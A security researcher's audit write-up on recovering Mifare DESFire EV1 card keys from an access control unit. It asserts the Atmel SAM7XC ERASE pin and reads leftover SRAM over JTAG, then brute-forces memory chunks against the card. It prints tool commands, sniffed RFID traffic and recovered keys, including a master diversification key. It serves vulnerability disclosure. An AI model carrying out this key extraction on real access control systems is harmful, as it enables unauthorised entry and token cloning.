Atmel SAM7XC Crypto Co-Processor key recovery (with bonus Mifare DESFire hack)
The problem with crypto is that it is processor intensive (i.e. slow), so it's common, these days, to offload these functions to a dedicated hardware co-processor which will leave the main processor free to do whatever it is that it's supposed to be doing and not faffing about with crypto. This is good in theory, as it means that cryptographic protection can be added to more or less any system without having to worry that it's going to add an unacceptable level of load to the processor. It is also theoretically more secure as the crypto keys are safely tucked away in a dedicated secure store. Much is made of this additional level of security in marketing literature.
But theory is all well and good - the bitch is getting it right in practice...
The following is the result of an audit performed for a client and is published with their full knowledge and consent.
There are a couple of ways you can attack a crypto system: go after the algorithm itself, or go after a specific implementation. To crack the algorithm, you generally need to be a very good mathematician (and more likely a cryptographer). Crypto algorithms are thought about long and hard, and specifically designed to be impervious to this kind of attack, so, although they don't always get it right, it is certainly not going to be an easy task to find the fundamental flaw (if any exists).
The other way, to go after a specific implementation, is much more likely to bear fruit and will usually be a whole lot easier, and can therefore be attempted by the likes of you and me. This is because in crypto the devil is in the detail, and as a system gets more complicated there is a lot more detail to take care of and therefore a lot more avenues of attack.
One of the specific issues crypto brings with it is the problem of managing the keys. The keys are literally the keys to your kingdom, and if you lose them you lose everything, so my first question is always: what keys are we after, and where can I find them?
Our target today is an access control system that uses a Mifare DESFire EV1 card as it's token. The microprocessor in the control unit is the Atmel AT91SAM7XC256, which is part of Atmel's ARM based SAM7XC series. It has a crypto co-processor, which includes a write-only memory for the keys, and the whole of the chip's memory can also be locked so that the code cannot be read out.
DESFire is a proprietary standard, but if you dig deep enough you'll find everything you're looking for, so it's relatively easy to write code to interrogate these tags and figure out what's on them (libfreefare would be a good place to start). I used my own RFIDIOt library to do so (note that I will always publish code if I can, but unfortunately as the DESFire standard is not open, and some of this tool is under NDA, I cannot in this case. If / when the restriction is lifted I'll be more than happy to do so, but in the meantime please don't ask. Sorry.)
So let's take a look at the card:
$ desfiretool.py select 000000 aids version free
Using reader: OMNIKEY CardMan 5x21 (OKCM0022602100142172731750393654) 00 01
Card UID: 80268F8F
Selecting AID: 000000 (OK)
AIDs on card:
534543 SEC
Card version:
H/W: Philips Type 1.1 Ver 1.0 Storage size 2048
S/W: Philips Type 1.1 Ver 1.3 Storage size 2048
Free memory: 1600 bytes
The application (AID) '000000' is the 'master' application - think of it as the root of the system. Asking for a list of other applications tells us there is only one: '534543' or 'SEC' in ASCII. We can see that some of the 2048 bytes of storage space have been used. This is a good sign - at least it's using some storage, not just relying on the UID. BTW, speaking of UIDs, notice the one above starts with '80'. This is a standard notation that tells me it's a random number. If I select the card again, I'll get a different one:
$ desfiretool.py
Using reader: OMNIKEY CardMan 5x21 (OKCM0022602100142172731750393654) 00 01
Card UID: 800EBF91
OK, so let's see what's in the 'SEC' application:
$ desfiretool.py select 534543 dir
Using reader: OMNIKEY CardMan 5x21 (OKCM0022602100142172731750393654) 00 01
Card UID: 80118F48
Selecting AID: 534543 (OK)
Files in AID:
01: Standard Data File, 128 byte(s)
Fully enciphered communication
Read Access: Key No. 00
Write Access: Key No. 00
Read & Write Access: Key No. 00
Change Access Rights: Key No. 00
02: Standard Data File, 128 byte(s)
Fully enciphered communication
Read Access: Key No. 00
Write Access: Key No. 00
Read & Write Access: Key No. 00
Change Access Rights: Key No. 00
03: Standard Data File, 128 byte(s)
Fully enciphered communication
Read Access: Key No. 00
Write Access: Key No. 00
Read & Write Access: Key No. 00
Change Access Rights: Key No. 00
04: Standard Data File, 128 byte(s)
Fully enciphered communication
Read Access: Key No. 00
Write Access: Key No. 00
Read & Write Access: Key No. 00
Change Access Rights: Key No. 00
So we have 4 files, that will encipher any communications with the outside world, and require authentication with key 00 to read them. We can easily test that:
$ desfiretool.py select 534543 read 01 /tmp/file1.dat
Using reader: OMNIKEY CardMan 5x21 (OKCM0022602100142172731750393654) 00 01
Card UID: 80113264
Selecting AID: 534543 (OK)
Reading File: 01 (Fully enciphered communication - 128 bytes)
Failed: Authentication error
Pretty unlikely, but let's just verify that key 00 isn't the transport key:
$ desfiretool.py select 534543 auth 00 0000000000000000 auth 00 00000000000000000000000000000000 aauth 00 00000000000000000000000000000000
Using reader: OMNIKEY CardMan 5x21 (OKCM0022602100142172731750393654) 00 01
Card UID: 8061B986
Selecting AID: 534543 (OK)
Authenticating against Key 00 with key: 0000000000000000 Failed: Authentication error
Authenticating against Key 00 with key: 00000000000000000000000000000000 Failed: Authentication error
Authenticating against Key 00 with key: 00000000000000000000000000000000 Failed: Authentication error
Nope. We've tried DES, 3DES and AES and no joy. I'm not aware of any successful attacks against the DESFire standard itself, so it looks like we'll have to concentrate on the chip.
There are several ways you can go about attacking chips, and your approach will vary depending on your objective and the chip in question, but they largely break down into three categories:
- Hardware / Physical - e.g. decapping - acid attack to reveal internal structures
- Software - exploit vulnerablilities in programming/debugging (or other) interfaces
- Combined - e.g. Hardware attack to reset fuse allowing software readout of code
I've previously talked about hardware attacks in the form of optically extracting data from images of Masked ROM, but there are people who's main job is doing this and who have built up specialist labs that do it exclusively. One of them, at the top of the list, is Chris Tarnovsky. His lab, Flylogic, took a look at this chip, and said: "In summary, this is a very well secured device ... Nice job Atmel! ". Now if Chris can't break it with the lab at his disposal, then I don't stand a chance. Forget about it.
So how about software? Travis Goodpseed has pioneered the technique of "Glitching", and produces a very nice little tool called the GoodFET which allows, amongst other things, glitching of the JTAG programming interface, but, again, I'm not aware of any specific glitching attacks against this chip.
Seems that we're in for a rough ride, then.
I'm a great believer in doing things the easy way. I don't mind putting in the work if the hard way is the only option, but let's at least try the easy way and rule that out first...
So let's remind ourselves of the objective: we are trying to recover the cryptographic keys from the code that is stored on the chip, but which cannot be read because the chip is read protected... So we somehow need to read the chip when it doesn't want to be read. OK, from the "easy" point of view, the only option I've got is the JTAG interface, but I can't read the chip via this because the protection fuse has almost certainly been set. Let's see what the manual says:
Section 8.5.3.2: "Asserting the ERASE pin clears the lock bits, thus unlocking the entire Flash."
So we can unlock the flash, but only by erasing the chip. i.e. we will allow it to be read again, but what we will read is a blank chip. Hmmm... So what, exactly, does the ERASE pin do? Well, according to the manual:
Section 6.4: "The ERASE pin is used to re-initialize the Flash content and some of its NVM bits."
It's going to erase the Flash. Yes, we know that... But wait a minute, hold your horses... How about the RAM??? If this chip's been in operation, there might be stuff in RAM. And "stuff" might include the cryptographic keys. What's going to happen to that? Apparently nothing. Oh, dear... 
Why, you might ask, would the RAM have the cryptographic keys in it when it's got an onboard crypto co-processor? Surely the keys would be in some kind of secure store in there, and not in the main RAM? True. Maybe. But think about it - the key has to get to the co-processor somehow, and the simplest way to do it is to load it from software. And although the code will be erased when we assert the ERASE pin, what if that code placed the keys in RAM before passing them to the co-processor? Why would they do that? Well, because they're lazy. "They" being programmers. Actually, I should say "we", not "they". We are lazy. When we need to implement something, we will generally go and find an example of how someone's done it before and, if possible, simply re-use that. I do it all the time, and I'm not ashamed of it. Why re-invent the wheel?
So when it comes to crypto key handling in this environment, there is the good way to do it, and the bad way. The good way would ensure that the key NEVER hits RAM and so cannot be read back after an ERASE, and the bad way would not. So let's hope that the example a budding, eager crypto virgin is going to find when she first starts to code her new co-processor based project does it the good way, eh?
The example project that Atmel themselves provide (basic-aes-project) does this:
const unsigned int pKey[] = {0x03020100, 0x07060504, 0x0B0A0908, 0x0F0E0D0C};
const unsigned int pPlain[] = {0x03020100, 0x07060504, 0x0B0A0908, 0x0F0E0D0C};
const unsigned int pCipher[] = {0xB50B940A, 0x45F06E41, 0x5894C3F1, 0x5AEA53C6};
AES_SetKey(pKey);
At first I thought that it was creating a variable in RAM which contains the key, and then callingAES_SetKey() which sets up the crypto co-processor, but Kasper Anderson pointed out that the 'const' declaration meant that it was in fact stored in Flash, not RAM. However, this is not commented or explicitly documented in the example code, so it would be easy to get this wrong and fail to declare the key as a const, thereby leaving it in RAM and potentially vulnerable to being read. If I'm lucky, my target system will have done so...
There are many tools out there for reading devices via JTAG, but my favourite is the HJTAG as it's very simple to use, integrates into a lot of IDEs, and supports a lot of devices. Oh, and it's cheap.
Once you've found the JTAG interface on the board (sorry, but I can't provide any pictures of this particular device) reading the chip is a simple process of applying a 3v supply to the approriate pin to trigger the ERASE and then reading out the data (yes, I did try reading it without an ERASE first!):
Here we see H-Flasher has auto-selected 256 KB as the chip's size. Fair enough, that's what it is.
However, according to the memory map in the manual (Figure 8-1), Flash, ROM and SRAM are all mapped into the same address space, so reading from 0x00 to the highest possible address should get me everything that can be read, regardless of where it was stored. The documentation (confirmed by experimentation) gave me 4 MB as the maximum I could specify:
I love it when a plan comes together!
So let's see what we've got...
So far, so boring... As expected, all the code has been erased. But if we scroll down (a lot)...
Oh, look! Data. How sweet!
Going a bit further down, we start to see what is clearly code and not just random crap:
So we're in business. Definitely.
The next step would normally be to disassemble the code and try to reverse engineer what it's doing, and find the keys as they are passed as variables etc., but that can be a real pain, particularly as we don't know how complete our capture is.
But in this case we have a quicker/easier potential route: the RFID token that the hardware is talking to. We've already poked around a bit and figured out what's on the card, but we can go little further than that. Since we have a system that is allowed to use the token in the way it's meant to be used, why not let it do so and watch what it's doing? We can do that by 'sniffing' the conversation between the reader and the token using a superb tool called the Proxmark3. This is the Swiss-army-knife of RFID.
Note that if you've only got access to one device you'll want to do this bit before you hit the erase tit!
This might seem like a pointless exercise, as we've already established that the token is going to encipher all it's communications, but DESFire, in common with most other such tokens, does not encipher the whole of each communication packet (or even every packet), but rather only the payload portion of the APDU. We can therefore examine the plaintext portions of the APDU to determine what conversation is being had, even if we can't see all the detail.
The output of the Proxmark3 looks like this:
+ 88950: : 0a 01 90 5a 00 00 03 00 00 00 00 e1 5d
+ 1038: 0: TAG 0a 01 91 00 f7 d0
+ 2162: : 0b 01 90 0a 00 00 01 00 00 f8 f6
+ 1922: 0: TAG 0b 01 8f 21 60 73 14 cf 6f 7a 91 af 0c db
+ 5162: : 0a 01 90 af 00 00 10 d5 1b 8b fc 70 b8 fa cf ce 53 71 8a 12 29 52 8a 00 b7 0b
+ 1918: 0: TAG 0a 01 09 bb fe 64 1a ae 71 b6 91 00 3a 15
+ 2770: : 0b 01 90 51 00 00 00 36 02
+ 638: 0: TAG 0b 01 d8 86 74 d4 3f af 34 4f 64 dc 43 4a 09 39 ee 50 91 00 e1 c3
+ 3022: : 0a 01 90 5a 00 00 03 43 45 53 00 cf a8
+ 630: 0: TAG 0a 01 91 00 f7 d0
+ 2594: : 0b 01 90 aa 00 00 01 00 00 3a 76
+ 2318: 0: TAG 0b 01 26 c1 de f1 2a 5c 6c d2 3c c9 37 f9 84 00 27 34 91 af 79 78
+ 5370: : 0a 01 90 af 00 00 20 d8 f7 04 fe 20 61 6a 03 d0 33 4d c8 75 ea 8f 4d f7 9f e7 03 8e 23 70 a9 b4 79 cd b2 35 9a e9 8b 00 70 d6
+ 2274: 0: TAG 0a 01 cd 89 06 a1 22 91 5d 3e db b2 3a d6 86 c1 d5 ba 91 00 47 e0
+ 2915: : 0b 01 90 f5 00 00 01 02 00 62 38
+ 967: 0: TAG 0b 01 00 03 00 00 80 00 00 fb 70 4c 46 e8 2d 86 d5 91 00 a6 e8
+ 2971: : 0a 01 90 bd 00 00 07 02 00 00 00 28 00 00 00 24 da
+ 1671: 0: TAG 0a 01! e0 e4 c1! 96 c6 1b a0 58! 4d 05 cc 83 ca! 21! 40! a6 cc! 8d bc d3 a4 11 b7 a5 0f 54 cd 64 98 e8 53 b7 38 24 87 42 a5 12 11 59 5c 5c 6a dc f7 b9 95 00 91 00 73 5e
+ 4287: : 0b 01 90 bd 00 00 07 02 28 00 00 28 00 00 00 61 2f
+ 1615: 0: TAG 0b! 01 1c! 80! 85 cf b5 2d! f0! bd e3! 50! 77! 73 a3! 2b 7d! e0 2a c8! 16 40 28 7b ed ac 05 a6 b9 62 80 12 be 02 06 06 10 6f 51 5b 9b a6 41 34 34 1f e5 fa 7a d5 91 00 b0 e9
+ 4059: : 0a 01 90 bd 00 00 07 02 50 00 00 28 00 00 00 eb a8
+ 5517: 0: TAG 03!
+ 4239: : 0b 01 90 bd 00 00 07 02 78 00 00 08 00 00 00 fd d2
+ 1023: 0: TAG 0b 01 3c a5 7c 38 e4 3d 2f aa 04 30 cf 19 f8 be 55 89 91 00 ce 3a
Note: In order not to violate my NDA, the following is decoded using only information that was freely available in the public domain at the time of writing. A quick google search for 'DESFire APDU' will confirm!
If we take the first two lines as an example, the first line is the command from the reader, and the line with 'TAG' in it is the token's reply:
+ 88950: : 0a 01 90 5a 00 00 03 00 00 00 00e1 5d
+ 1038: 0: TAG 0a 01 91 00 f7 d0
We don't care about the timestamp, and the first three bytes can be ignored - they are to do with the construction of the APDU and will always be the same. We also don't care about the TAG's response. The main byte we're interested in is the one in bold, which is the issued command (and I've highlighted them above to make them easier to spot), and occasionally it's arguments. So, taking it one command at a time, we've got:
- 5a ... 00 00 00
- 0a
- af
- 51
- 5a ... 4345 53
- aa
- af
- f5
- bd
- bd
- bd
- bd
Which translates to:
- 5a - Select the application '000000'
- 0a - DES Authenticate
- af - Additional Frame (part of authentication process)
- 51 - Get UID
- 5a - Select the application '434553'
- aa - AES Authenticate
- af - Additional Frame
- f5 - Get File Settings
- bd - Read Data
- bd - Read Data
- bd - Read Data
- bd - Read Data
OK, so what? Where does this all get us?
Well, the idea is to try and perform the same sequence of operations ourselves, which, if successful, will confirm that whatever it was that we used as the key is in fact correct. i.e. we are going to brute-force the keys. The potential keys we'll get from the image of the chip we just read. We don't need to know exactly where in the file they are as we know how long they are (16 bytes), and so can simply take every contiguous16 byte chunk and present it as if it were the authentication key. If the authentication fails we simply try the next one. The image is 4 megabytes of data, so worst case there will be just shy of 4.2 million keys to try, but in practice at least half of that data is empty space, and a lot of what's left will be repeating patterns of code so can be eliminated as duplicates. Even if we had to test the full 4 million, we can do about 70 authentications per second so that would only take 15 hours, and can be done by a laptop sitting in a corner unsupervised. Compare that to trying to disassemble the code and find the keys by hand and I'll take the laptop in the corner any day (did I mention we're lazy?). Also, since the bottleneck is the speed that the RFID card will authenticate at, if we're in a hurry we can simply break our image into chunks and spread it across multiple laptops. 15 machines should mean we've got our answer in 1 hour.
As I've already got a python tool for talking to DESFire cards, it was a minor effort to add the brute-force capability. Now we simply tell it the sequence of commands we wish to perform and give it the file with the potential keys in it and sit back...
Just for fun, I timed it too:
$ time desfiretool.py select 000000 brute 00 16 access-control.bin save access-control.keys
Using reader: OMNIKEY CardMan 5x21 (OKCM0022602100142172731750393654) 00 01
Card UID: 8074AF7D
Selecting AID: 000000 (OK)
Brute forcing KEY 00 from access-control.bin:
Scanning access-control.bin for candidate keys (4194288 max): 53442 unique keys found
Testing DES candidates against KEY 00: 13675
Found key! 7D1248E4342FEE541029E23FEFDA12B8
Saving candidate keys to: access-control.keys 53442 keys written
real 10m15.125s
user 7m30.012s
sys 0m1.412s
Holy crap, it worked! (Of course, it was only logical that it would, but it always gives you a thrill to see that "I'm in!" moment...) And in only 10 minutes too! Out of the 4.2 million bytes in the file, there were only 53,442 unique contiguous 16 byte chunks, and our key was the 13,675th.
So let's see if they've used the same key for the second (AES) authentication:
$ desfiretool.py select 000000 auth 00 7D1248E4342FEE541029E23FEFDA12B8 select 534543 aauth 00 7D1248E4342FEE541029E23FEFDA12B8
Using reader: OMNIKEY CardMan 5x21 (OKCM0022602100142172731750393654) 00 01
Card UID: 8090F388
Selecting AID: 000000 (OK)
Authenticating against Key 00 with key: 7D1248E4342FEE541029E23FEFDA12B8 (OK)
Selecting AID: 534543 (OK)
Authenticating against Key 00 with key: 7D1248E4342FEE541029E23FEFDA12B8 Failed: Authentication error
Nope! Never mind, I'm sure this one will be in the file as well, and it should be quicker this time because we've already sorted the unique potential keys:
$ desfiretool.py select 534543 nbrutea 00 16 access-control.keys
Using reader: OMNIKEY CardMan 5x21 (OKCM0022602100142172731750393654) 00 01
Card UID: 80D6A10A
Selecting AID: 534543 (OK)
Brute forcing KEY 00 from access-control.keys:
Loading access-control.keys: 53442 unique keys found
Testing AES candidates against KEY 00: 53442
Hmmm... That's a bummer. No key found!
However, we're missing a step. Inthe sniffed sequence there was a command to get the the 'real' UID (i.e. the unique one, not some random one) which would suggest that the second key is diversified with the UID (a scheme recommended by NXP), so let's try that:
desfiretool.py select 000000 auth 00 7D1248E4342FEE541029E23FEFDA12B8 uid select 534543 nbrutead 00 16 access-control.bin
Using reader: OMNIKEY CardMan 5x21 (OKCM0022602100142172731750393654) 00 01
Card UID: 807113E
Selecting AID: 000000 (OK)
Authenticating against Key 00 with key: 7D1248E4342FEE541029E23FEFDA12B8 (OK)
Original UID: 048270F9B61E80
Selecting AID: 534543 (OK)
Brute forcing KEY 00 from access-control.bin:
Loading access-control.keys: 53442 unique keys found
Testing AESD candidates against KEY 00: 13706
Found key! 6D8FFAF3CEDB66C66FEEF6476DDFC0BB
Master diversification key: 843691A6ED9A9C5F49C96BBC35B95212
Bingo! P0wned!
Not only do we have the keys for this token, but we've also got the MASTER DIVERSIFICATION key! This means one of two things: if it's unique to this installation we can read or write any token that is enrolled (as well as possibly create new ones), or, worst case, if the manufacturer only uses one diversification key then we potentially own their entire installed base.
We can now wrap it all up by reading the files from the token:
$ desfiretool.py select 000000 auth 00 7D1248E4342FEE541029E23FEFDA12B8 uid select 534543 aauth 00 6D8FFAF3CEDB66C66FEEF6476DDFC0BB read 01 01.dat read 02 02.dat read 03 03.dat read 04 04.dat
Using reader: OMNIKEY CardMan 5x21 (OKCM0022602100142172731750393654) 00 01
Card UID: 80F21A1B
Selecting AID: 000000 (OK)
Authenticating against Key 00 with key: 7D1248E4342FEE541029E23FEFDA12B8 (OK)
Original UID: 048270F9B61E80
Selecting AID: 534543 (OK)
Authenticating against Key 00 with key: 6D8FFAF3CEDB66C66FEEF6476DDFC0BB (OK)
Reading File: 01 (Fully enciphered communication - 128 bytes)
128 bytes saved to file '01.dat'
Reading File: 02 (Fully enciphered communication - 128 bytes)
128 bytes saved to file '02.dat'
Reading File: 03 (Fully enciphered communication - 128 bytes)
128 bytes saved to file '03.dat'
Reading File: 04 (Fully enciphered communication - 128 bytes)
128 bytes saved to file '04.dat'
In conclusion, I guess the moral of the story is that poor implementation is potentially one of the biggest threats. We have a chip that should be secure but isn't because they've only protected the ROM and the code wasn't written with that in mind, and an RFID token that is actually probably pretty secure, but has been let down by it's buddy the chip. Badly.
To be absolutely clear: the NXP DESFire 'hack' is purely a result of the weakness in the AT91SAM7XC, and nothing to do with DESFire itself, but demonstrates why this is a real problem.
In the interests of full disclosure, I reported this to Atmel in September 2011. This is the response I got:
"The internal Flash can be protected by setting the security/lock bit.But to my understanding, we don't have available methods to protect the internal SRAM."
In the light of this I asked for clarification of key handling and how to get the keys into the crypto co-processor safely, and this is the response I got:
""
Yes, that's right. They didn't respond.
In fact, when I'd finished writing this up I thought I'd better have a more thorough look to see if anyone else had reported and/or addressed this before, and indeed I found a few entries on the AT91SAM forums, most notably: How Secure is Flash and RAM on 7X and 7XC Range from 2007(!). Also unanswered.
As far as I can see, nothing has changed. Before publishing this, I again tried to contact Atmel for clarification/advice, but no joy. I cannot find anything on their website providing best practice coding tips, or warnings of the issue, despite being known to them for at least 6 years...
Given that these chips are likely to be used in a wide variety of "secure" devices, such as payment systems, biometric systems, access control system etc., this is what we Brits would call:
"A bit of a worry".